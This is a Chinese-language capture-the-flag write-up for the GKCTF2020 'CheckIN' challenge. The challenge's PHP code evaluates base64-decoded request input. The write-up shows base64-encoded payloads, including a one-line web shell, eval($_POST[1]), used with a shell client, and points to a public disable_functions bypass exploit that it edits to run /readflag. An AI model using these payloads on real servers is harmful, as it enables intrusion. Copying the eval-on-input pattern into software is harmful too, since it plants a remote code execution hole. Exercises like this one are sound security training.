[GKCTF2020]CheckIN

[GKCTF2020]CheckIN

打开网站,发现是这样的源码

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

题目代码给出来,第一感觉是要序列化,但是不存在反序列化函数

WP写的很简单,Ginkgo可以传参,之后参数会保存在当前页面中,传参一句话,使用连接工具连接

查看PHP配置信息:

需要将'phpinfo();'用base64加密成 'cGhwaW5mbygpOw==',再传参

发现把一些php函数给禁用了
phpinfo.png

于是打开蚁剑,使用下面的payload

eval($_POST[1]);
ZXZhbCgkX1BPU1RbMV0pOw==

后台看了一遍'/'目录下有flag相关的文件,但是没有权限

readflag.png

大概可以看出来得获取权限运行readflag获取flag吧
WP解释说是PHP里面禁用了相关函数,所以我们需要绕过的exp,上传至服务器目录,并执行

使用bypass脚本提权

文件里面pwn函数后面()中是要放执行的命令,我们改为执行'/readflag'

之后上传至服务器,这里我们无法直接用Ginkgo来读取exp使其执行
截图录屏_选择区域_20200528235218.png

需要之前的一句话,配合hackbar来执行文件包含,最后读取flag并显示

截图录屏_选择区域_20200528235155.png

参考资料

GKCTF2020 - Check in
https://github.com/mm0r1/exploits
CTF中的命令执行绕过
GKCTF2020 - Check in 使用python脚本